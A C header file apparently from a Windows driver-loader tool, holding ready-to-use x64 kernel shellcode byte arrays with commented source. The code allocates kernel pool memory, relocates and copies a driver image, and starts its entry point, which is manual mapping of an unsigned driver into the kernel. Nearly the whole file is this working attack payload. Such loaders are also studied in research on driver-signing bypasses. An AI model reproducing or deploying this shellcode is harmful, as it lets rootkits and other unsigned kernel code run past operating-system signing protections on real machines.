/******************************************************************************* * * (C) COPYRIGHT AUTHORS, 2016 - 2017 * * TITLE: SHELLCODE.H * * VERSION: 1.11 * * DATE: 20 Apr 2017 * * Loader bootstrap shellcode. * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A * PARTICULAR PURPOSE. * *******************************************************************************/ #pragma once typedef PVOID(NTAPI *PfnExAllocatePoolWithTag)( _In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes, _In_ ULONG Tag); typedef NTSTATUS(NTAPI *PfnPsCreateSystemThread)( _Out_ PHANDLE ThreadHandle, _In_ ULONG DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ HANDLE ProcessHandle, _Out_opt_ PCLIENT_ID ClientId, _In_ PKSTART_ROUTINE StartRoutine, _In_opt_ PVOID StartContext); typedef NTSTATUS (NTAPI *PfnZwClose)( _In_ HANDLE Handle); typedef NTSTATUS(NTAPI *PfnDriverEntry)(); #define MAX_SHELLCODE_LENGTH 0x300 /* * TDLBootstrapLoader * * Purpose: * * Main part of shellcode used to execute driver code. * */ /* void TDLBootstrapLoader( PfnExAllocatePoolWithTag ExAllocatePoolWithTag, PfnPsCreateSystemThread PsCreateSystemThread, PfnZwClose ZwClose) { ULONG_PTR pos, exbuffer, Image = ((ULONG_PTR)&TDLBootstrapLoader) + MAX_SHELLCODE_LENGTH; PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image; PIMAGE_FILE_HEADER fileh = (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew); PIMAGE_OPTIONAL_HEADER popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER)); ULONG isz = popth->SizeOfImage; HANDLE th; PIMAGE_BASE_RELOCATION rel; DWORD_PTR delta; LPWORD chains; DWORD c, p, rsz; OBJECT_ATTRIBUTES attr; exbuffer = (ULONG_PTR)ExAllocatePoolWithTag( NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE; exbuffer &= ~(PAGE_SIZE - 1); if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) { rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image + popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; delta = (DWORD_PTR)exbuffer - popth->ImageBase; c = 0; while (c < rsz) { p = sizeof(IMAGE_BASE_RELOCATION); chains = (LPWORD)((PBYTE)rel + p); while (p < rel->SizeOfBlock) { switch (*chains >> 12) { case IMAGE_REL_BASED_HIGHLOW: *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta; break; case IMAGE_REL_BASED_DIR64: *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta; break; } chains++; p += sizeof(WORD); } c += rel->SizeOfBlock; rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock); } } isz >>= 3; for (pos = 0; pos < isz; pos++) ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos]; th = NULL; InitializeObjectAttributes(&attr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); if (NT_SUCCESS(PsCreateSystemThread(&th, THREAD_ALL_ACCESS, &attr, NULL, NULL, (PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL))) { ZwClose(th); } } */ const unsigned char TDLBootstrapLoader_code[480] = { 0x48, 0x8B, 0xC4, 0x41, 0x54, 0x48, 0x81, 0xEC, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x58, 0x10, 0x4D, 0x8B, 0xE0, 0x48, 0x89, 0x68, 0x18, 0x48, 0x8D, 0x1D, 0xE2, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 0x68, 0xE8, 0x48, 0x81, 0xC3, 0x00, 0x03, 0x00, 0x00, 0x4C, 0x89, 0x70, 0xE0, 0x4C, 0x8B, 0xEA, 0x4C, 0x89, 0x78, 0xD8, 0x4C, 0x8B, 0xC9, 0x33, 0xC9, 0x41, 0xB8, 0x54, 0x64, 0x6C, 0x53, 0x4C, 0x63, 0x73, 0x3C, 0x4C, 0x03, 0xF3, 0x45, 0x8B, 0x7E, 0x50, 0x41, 0x8D, 0x97, 0x00, 0x10, 0x00, 0x00, 0x41, 0xFF, 0xD1, 0x45, 0x33, 0xC9, 0x48, 0x8D, 0xA8, 0x00, 0x10, 0x00, 0x00, 0x48, 0x81, 0xE5, 0x00, 0xF0, 0xFF, 0xFF, 0x41, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x05, 0x0F, 0x86, 0xB0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x8E, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84, 0xA1, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x04, 0x0B, 0x41, 0x8B, 0xB6, 0xB4, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xDD, 0x4D, 0x2B, 0x5E, 0x30, 0x48, 0x89, 0xBC, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xF9, 0x85, 0xF6, 0x74, 0x68, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43, 0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9, 0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C, 0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48, 0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x3B, 0xFE, 0x72, 0xA0, 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xB4, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xBC, 0x24, 0x88, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xD7, 0x4C, 0x8B, 0x7C, 0x24, 0x70, 0x48, 0xC1, 0xEA, 0x03, 0x48, 0x85, 0xD2, 0x74, 0x1D, 0x48, 0x8B, 0xCD, 0x48, 0x2B, 0xDD, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75, 0xEF, 0x4C, 0x89, 0x4C, 0x24, 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x40, 0x4C, 0x89, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x4C, 0x24, 0x48, 0x0F, 0x57, 0xC0, 0x4C, 0x89, 0x4C, 0x24, 0x50, 0xBA, 0xFF, 0xFF, 0x1F, 0x00, 0xF3, 0x0F, 0x7F, 0x44, 0x24, 0x60, 0xC7, 0x44, 0x24, 0x40, 0x30, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x58, 0x00, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x46, 0x28, 0x48, 0x03, 0xC5, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x89, 0x4C, 0x24, 0x20, 0x45, 0x33, 0xC9, 0x41, 0xFF, 0xD5, 0x4C, 0x8B, 0x74, 0x24, 0x78, 0x4C, 0x8B, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xAC, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x0B, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xD4, 0x48, 0x81, 0xC4, 0x90, 0x00, 0x00, 0x00, 0x41, 0x5C, 0xC3 }; /* * TDLBootstrapLoader_w10rs2 * * Purpose: * * Main part of shellcode used to execute driver code since w10rs2. * */ /* void TDLBootstrapLoader_w10rs2( PfnExAllocatePoolWithTag ExAllocatePoolWithTag ) { ULONG_PTR pos, exbuffer, Image = ((ULONG_PTR)&TDLBootstrapLoader_w10rs2) + MAX_SHELLCODE_LENGTH; PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image; PIMAGE_FILE_HEADER fileh = (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew); PIMAGE_OPTIONAL_HEADER popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER)); PfnDriverEntry DriverEntry; ULONG isz = popth->SizeOfImage; PIMAGE_BASE_RELOCATION rel; DWORD_PTR delta; LPWORD chains; DWORD c, p, rsz; exbuffer = (ULONG_PTR)ExAllocatePoolWithTag( NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE; exbuffer &= ~(PAGE_SIZE - 1); if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) { rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image + popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; delta = (DWORD_PTR)exbuffer - popth->ImageBase; c = 0; while (c < rsz) { p = sizeof(IMAGE_BASE_RELOCATION); chains = (LPWORD)((PBYTE)rel + p); while (p < rel->SizeOfBlock) { switch (*chains >> 12) { case IMAGE_REL_BASED_HIGHLOW: *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta; break; case IMAGE_REL_BASED_DIR64: *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta; break; } chains++; p += sizeof(WORD); } c += rel->SizeOfBlock; rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock); } } isz >>= 3; for (pos = 0; pos < isz; pos++) ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos]; DriverEntry = (PfnDriverEntry)(exbuffer + popth->AddressOfEntryPoint); DriverEntry(); } */ static const unsigned char TDLBootstrapLoader_code_w10rs2[321] = { 0x40, 0x53, 0x55, 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0xC9, 0x4C, 0x89, 0x7C, 0x24, 0x50, 0x48, 0x8D, 0x1D, 0xE9, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x48, 0x81, 0xC3, 0x00, 0x03, 0x00, 0x00, 0x41, 0xB8, 0x54, 0x64, 0x6C, 0x53, 0x48, 0x63, 0x6B, 0x3C, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x7D, 0x50, 0x41, 0x8D, 0x97, 0x00, 0x10, 0x00, 0x00, 0x41, 0xFF, 0xD1, 0x48, 0x8D, 0xB0, 0x00, 0x10, 0x00, 0x00, 0x48, 0x81, 0xE6, 0x00, 0xF0, 0xFF, 0xFF, 0x83, 0xBD, 0x84, 0x00, 0x00, 0x00, 0x05, 0x0F, 0x86, 0xA5, 0x00, 0x00, 0x00, 0x8B, 0x8D, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7C, 0x24, 0x40, 0x4C, 0x8D, 0x04, 0x0B, 0x4C, 0x8B, 0xDE, 0x4C, 0x89, 0x74, 0x24, 0x48, 0x4C, 0x2B, 0x5D, 0x30, 0x33, 0xFF, 0x44, 0x8B, 0xB5, 0xB4, 0x00, 0x00, 0x00, 0x45, 0x85, 0xF6, 0x74, 0x6A, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43, 0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9, 0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C, 0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48, 0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x41, 0x3B, 0xFE, 0x72, 0x9F, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x4C, 0x8B, 0x74, 0x24, 0x48, 0x49, 0x8B, 0xD7, 0x4C, 0x8B, 0x7C, 0x24, 0x50, 0x48, 0xC1, 0xEA, 0x03, 0x48, 0x85, 0xD2, 0x74, 0x25, 0x48, 0x8B, 0xCE, 0x48, 0x2B, 0xDE, 0x0F, 0x1F, 0x40, 0x00, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75, 0xEF, 0x8B, 0x45, 0x28, 0x48, 0x03, 0xC6, 0x48, 0x83, 0xC4, 0x20, 0x5E, 0x5D, 0x5B, 0x48, 0xFF, 0xE0 };